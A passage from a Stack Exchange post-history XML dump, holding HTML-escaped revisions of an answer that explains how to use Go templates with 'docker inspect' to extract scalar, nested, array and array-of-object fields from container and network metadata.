&quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;In that case, you probably what to specify an [explicit formatter](https://docs.docker.com/config/formatting/)&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But not that&#xD;&#xA;    sudo docker network inspect bridge --format '{{.IPAM.Config.Gateway}}'&#xD;&#xA;    &#xD;&#xA;    Template parsing error: template: :1:7: executing &quot;&quot; at &lt;.IPAM.Config.Gateway&gt;: can't evaluate field Gateway in type interface {}&#xD;&#xA;&#xD;&#xA;When I want to extract such nested value, I resort on an explicit range loop:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'&#xD;&#xA;    172.17.0.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19947" PostHistoryTypeId="5" PostId="6242" RevisionGUID="30c88836-42d3-4ec4-b871-bbebafd427c0" CreationDate="2019-02-05T17:34:42.473" UserId="11179" Comment="deleted 2 characters in body" Text="I take the risk of being downvoted here, but I find Go templates a nightmare to use beyond the most basic use cases. Don't take me wrong: they are extremely powerful as you can guess it by [reading the docs](https://golang.org/pkg/text/template/), but I find the syntax unfriendly, and for the most complex cases, I prefer parsing the JSON output with [`jq`](https://stedolan.github.io/jq/). Anyway:&#xD;&#xA;&#xD;&#xA;    sho$ CID=$(sudo docker run --rm -d busybox sleep 3000)                                                                                         &#xD;&#xA;    sh$ sudo docker inspect $CID&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;Id&quot;: &quot;0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&quot;,&#xD;&#xA;            &quot;Created&quot;: &quot;2019-02-05T16:41:40.040349047Z&quot;,&#xD;&#xA;            &quot;Path&quot;: &quot;sleep&quot;,&#xD;&#xA;            &quot;Args&quot;: [&#xD;&#xA;                &quot;3000&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;State&quot;: {&#xD;&#xA;                &quot;Status&quot;: &quot;running&quot;,&#xD;&#xA;                &quot;Running&quot;: true,&#xD;&#xA;                &quot;Paused&quot;: false,&#xD;&#xA;                &quot;Restarting&quot;: false,&#xD;&#xA;                &quot;OOMKilled&quot;: false,&#xD;&#xA;                &quot;Dead&quot;: false,&#xD;&#xA;                &quot;Pid&quot;: 26467,&#xD;&#xA;                &quot;ExitCode&quot;: 0,&#xD;&#xA;                &quot;Error&quot;: &quot;&quot;,&#xD;&#xA;                &quot;StartedAt&quot;: &quot;2019-02-05T16:41:40.659056612Z&quot;,&#xD;&#xA;                &quot;FinishedAt&quot;: &quot;0001-01-01T00:00:00Z&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Image&quot;: &quot;sha256:3a093384ac306cbac30b67f1585e12b30ab1a899374dabc3170b9bca246f1444&quot;,&#xD;&#xA;            &quot;ResolvConfPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/resolv.conf&quot;,&#xD;&#xA;            &quot;HostnamePath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hostname&quot;,&#xD;&#xA;            &quot;HostsPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/hosts&quot;,&#xD;&#xA;            &quot;LogPath&quot;: &quot;/var/lib/docker/containers/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967/0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967-json.log&quot;,&#xD;&#xA;            &quot;Name&quot;: &quot;/vibrant_shaw&quot;,&#xD;&#xA;            &quot;RestartCount&quot;: 0,&#xD;&#xA;            &quot;Driver&quot;: &quot;aufs&quot;,&#xD;&#xA;            &quot;Platform&quot;: &quot;linux&quot;,&#xD;&#xA;            &quot;MountLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;ProcessLabel&quot;: &quot;&quot;,&#xD;&#xA;            &quot;AppArmorProfile&quot;: &quot;docker-default&quot;,&#xD;&#xA;            &quot;ExecIDs&quot;: null,&#xD;&#xA;            &quot;HostConfig&quot;: {&#xD;&#xA;                &quot;Binds&quot;: null,&#xD;&#xA;                &quot;ContainerIDFile&quot;: &quot;&quot;,&#xD;&#xA;               &quot;LogConfig&quot;: {&#xD;&#xA;                    &quot;Type&quot;: &quot;json-file&quot;,&#xD;&#xA;                    &quot;Config&quot;: {}&#xD;&#xA;                },&#xD;&#xA;                &quot;NetworkMode&quot;: &quot;default&quot;,&#xD;&#xA;                &quot;PortBindings&quot;: {},&#xD;&#xA;                &quot;RestartPolicy&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;no&quot;,&#xD;&#xA;                    &quot;MaximumRetryCount&quot;: 0&#xD;&#xA;                },&#xD;&#xA;                &quot;AutoRemove&quot;: true,&#xD;&#xA;                &quot;VolumeDriver&quot;: &quot;&quot;,&#xD;&#xA;                &quot;VolumesFrom&quot;: null,&#xD;&#xA;                &quot;CapAdd&quot;: null,&#xD;&#xA;                &quot;CapDrop&quot;: null,&#xD;&#xA;                &quot;Dns&quot;: [],&#xD;&#xA;                &quot;DnsOptions&quot;: [],&#xD;&#xA;                &quot;DnsSearch&quot;: [],&#xD;&#xA;                &quot;ExtraHosts&quot;: null,&#xD;&#xA;                &quot;GroupAdd&quot;: null,&#xD;&#xA;                &quot;IpcMode&quot;: &quot;shareable&quot;,&#xD;&#xA;                &quot;Cgroup&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Links&quot;: null,&#xD;&#xA;                &quot;OomScoreAdj&quot;: 0,&#xD;&#xA;                &quot;PidMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Privileged&quot;: false,&#xD;&#xA;                &quot;PublishAllPorts&quot;: false,&#xD;&#xA;                &quot;ReadonlyRootfs&quot;: false,&#xD;&#xA;                &quot;SecurityOpt&quot;: null,&#xD;&#xA;                &quot;UTSMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;UsernsMode&quot;: &quot;&quot;,&#xD;&#xA;                &quot;ShmSize&quot;: 67108864,&#xD;&#xA;                &quot;Runtime&quot;: &quot;runc&quot;,&#xD;&#xA;                &quot;ConsoleSize&quot;: [&#xD;&#xA;                    0,&#xD;&#xA;                    0&#xD;&#xA;                ],&#xD;&#xA;                &quot;Isolation&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpuShares&quot;: 0,&#xD;&#xA;                &quot;Memory&quot;: 0,&#xD;&#xA;                &quot;NanoCpus&quot;: 0,&#xD;&#xA;                &quot;CgroupParent&quot;: &quot;&quot;,&#xD;&#xA;                &quot;BlkioWeight&quot;: 0,&#xD;&#xA;                &quot;BlkioWeightDevice&quot;: [],&#xD;&#xA;                &quot;BlkioDeviceReadBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteBps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceReadIOps&quot;: null,&#xD;&#xA;                &quot;BlkioDeviceWriteIOps&quot;: null,&#xD;&#xA;                &quot;CpuPeriod&quot;: 0,&#xD;&#xA;                &quot;CpuQuota&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimePeriod&quot;: 0,&#xD;&#xA;                &quot;CpuRealtimeRuntime&quot;: 0,&#xD;&#xA;                &quot;CpusetCpus&quot;: &quot;&quot;,&#xD;&#xA;                &quot;CpusetMems&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Devices&quot;: [],&#xD;&#xA;                &quot;DeviceCgroupRules&quot;: null,&#xD;&#xA;                &quot;DiskQuota&quot;: 0,&#xD;&#xA;                &quot;KernelMemory&quot;: 0,&#xD;&#xA;                &quot;MemoryReservation&quot;: 0,&#xD;&#xA;                &quot;MemorySwap&quot;: 0,&#xD;&#xA;                &quot;MemorySwappiness&quot;: null,&#xD;&#xA;                &quot;OomKillDisable&quot;: false,&#xD;&#xA;                &quot;PidsLimit&quot;: 0,&#xD;&#xA;                &quot;Ulimits&quot;: null,&#xD;&#xA;                &quot;CpuCount&quot;: 0,&#xD;&#xA;                &quot;CpuPercent&quot;: 0,&#xD;&#xA;                &quot;IOMaximumIOps&quot;: 0,&#xD;&#xA;                &quot;IOMaximumBandwidth&quot;: 0,&#xD;&#xA;                &quot;MaskedPaths&quot;: [&#xD;&#xA;                    &quot;/proc/acpi&quot;,&#xD;&#xA;                    &quot;/proc/kcore&quot;,&#xD;&#xA;                    &quot;/proc/keys&quot;,&#xD;&#xA;                    &quot;/proc/latency_stats&quot;,&#xD;&#xA;                    &quot;/proc/timer_list&quot;,&#xD;&#xA;                    &quot;/proc/timer_stats&quot;,&#xD;&#xA;                    &quot;/proc/sched_debug&quot;,&#xD;&#xA;                    &quot;/proc/scsi&quot;,&#xD;&#xA;                    &quot;/sys/firmware&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;ReadonlyPaths&quot;: [&#xD;&#xA;                    &quot;/proc/asound&quot;,&#xD;&#xA;                    &quot;/proc/bus&quot;,&#xD;&#xA;                    &quot;/proc/fs&quot;,&#xD;&#xA;                    &quot;/proc/irq&quot;,&#xD;&#xA;                    &quot;/proc/sys&quot;,&#xD;&#xA;                    &quot;/proc/sysrq-trigger&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            &quot;GraphDriver&quot;: {&#xD;&#xA;                &quot;Data&quot;: null,&#xD;&#xA;                &quot;Name&quot;: &quot;aufs&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Mounts&quot;: [],&#xD;&#xA;            &quot;Config&quot;: {&#xD;&#xA;                &quot;Hostname&quot;: &quot;0470a3549d2f&quot;,&#xD;&#xA;                &quot;Domainname&quot;: &quot;&quot;,&#xD;&#xA;                &quot;User&quot;: &quot;&quot;,&#xD;&#xA;                &quot;AttachStdin&quot;: false,&#xD;&#xA;                &quot;AttachStdout&quot;: false,&#xD;&#xA;                &quot;AttachStderr&quot;: false,&#xD;&#xA;                &quot;Tty&quot;: false,&#xD;&#xA;                &quot;OpenStdin&quot;: false,&#xD;&#xA;                &quot;StdinOnce&quot;: false,&#xD;&#xA;                &quot;Env&quot;: [&#xD;&#xA;                    &quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Cmd&quot;: [&#xD;&#xA;                    &quot;sleep&quot;,&#xD;&#xA;                    &quot;3000&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Image&quot;: &quot;busybox&quot;,&#xD;&#xA;                &quot;Volumes&quot;: null,&#xD;&#xA;                &quot;WorkingDir&quot;: &quot;&quot;,&#xD;&#xA;                &quot;Entrypoint&quot;: null,&#xD;&#xA;                &quot;OnBuild&quot;: null,&#xD;&#xA;                &quot;Labels&quot;: {}&#xD;&#xA;            },&#xD;&#xA;            &quot;NetworkSettings&quot;: {&#xD;&#xA;                &quot;Bridge&quot;: &quot;&quot;,&#xD;&#xA;                &quot;SandboxID&quot;: &quot;654da638965d9bb26e394ba61036ea713bdccb6304eb09bee86f3c0611a26ca5&quot;,&#xD;&#xA;                &quot;HairpinMode&quot;: false,&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;Ports&quot;: {},&#xD;&#xA;                &quot;SandboxKey&quot;: &quot;/var/run/docker/netns/654da638965d&quot;,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                &quot;Networks&quot;: {&#xD;&#xA;                    &quot;bridge&quot;: {&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;Links&quot;: null,&#xD;&#xA;                        &quot;Aliases&quot;: null,&#xD;&#xA;                        &quot;NetworkID&quot;: &quot;5ec8728b05efd5ce6bfde5cbe6e42f247348345e0fdfb305fda76566327fc151&quot;,&#xD;&#xA;                        &quot;EndpointID&quot;: &quot;c69ef9cb870a3c477105c7bc19e370683886e4e3c62fac8444d3e1e097551250&quot;,&#xD;&#xA;                        &quot;Gateway&quot;: &quot;172.17.0.1&quot;,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.3&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                        &quot;MacAddress&quot;: &quot;02:42:ac:11:00:03&quot;,&#xD;&#xA;                        &quot;DriverOpts&quot;: null&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;## Returning scalar properties&#xD;&#xA;&#xD;&#xA;You can query any scalar attribute by its name, prefixed by a dot:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Id}}&#xD;&#xA;    0470a3549d2f41efd0477cf8fc4eb3a27aca592f089c018ad24704031bbef967&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.Name}} {{.Driver}}'&#xD;&#xA;    /vibrant_shaw aufs&#xD;&#xA;&#xD;&#xA;You can also query nested fields:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State.Running}}'&#xD;&#xA;    true&#xD;&#xA;&#xD;&#xA;## Returning entire objects and arrays&#xD;&#xA;&#xD;&#xA;But it does not work as expected for nested structures:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.State}}'&#xD;&#xA;    {running true false false false false 26467 0  2019-02-05T16:41:40.659056612Z 0001-01-01T00:00:00Z &lt;nil&gt;}&#xD;&#xA;&#xD;&#xA;You end up having the data, but without the field names, it is pretty useless--unless you are assuming some predefined field order (something that is probably not safe).&#xD;&#xA;&#xD;&#xA;When accessing entire objects, there are chances you want an [explicit formatter](https://docs.docker.com/config/formatting/):&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .State}}'&#xD;&#xA;    {&quot;Status&quot;:&quot;running&quot;,&quot;Running&quot;:true,&quot;Paused&quot;:false,&quot;Restarting&quot;:false,&quot;OOMKilled&quot;:false,&quot;Dead&quot;:false,&quot;Pid&quot;:26467,&quot;ExitCode&quot;:0,&quot;Error&quot;:&quot;&quot;,&quot;StartedAt&quot;:&quot;2019-02-05T16:41:40.659056612Z&quot;,&quot;FinishedAt&quot;:&quot;0001-01-01T00:00:00Z&quot;}&#xD;&#xA;&#xD;&#xA;Same thing for arrays:&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{.HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [/proc/asound /proc/bus /proc/fs /proc/irq /proc/sys /proc/sysrq-trigger]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{json .HostConfig.ReadonlyPaths}}'&#xD;&#xA;    [&quot;/proc/asound&quot;,&quot;/proc/bus&quot;,&quot;/proc/fs&quot;,&quot;/proc/irq&quot;,&quot;/proc/sys&quot;,&quot;/proc/sysrq-trigger&quot;]&#xD;&#xA;&#xD;&#xA;    sh$ sudo docker inspect $CID --format '{{join .HostConfig.ReadonlyPaths &quot;:&quot;}}'&#xD;&#xA;    /proc/asound:/proc/bus:/proc/fs:/proc/irq:/proc/sys:/proc/sysrq-trigger&#xD;&#xA;&#xD;&#xA;## Arrays of objects&#xD;&#xA;&#xD;&#xA;More complicated (according to my limited Go Template skills) is accessing fields nested in an array of objects:&#xD;&#xA;&#xD;&#xA;    # This works as expected&#xD;&#xA;    sh$ sudo docker network inspect bridge --format '{{json .IPAM.Config}}'&#xD;&#xA;    [{&quot;Subnet&quot;:&quot;172.17.0.0/16&quot;,&quot;Gateway&quot;:&quot;172.17.0.1&quot;}]&#xD;&#xA;&#xD;&#xA;    # But 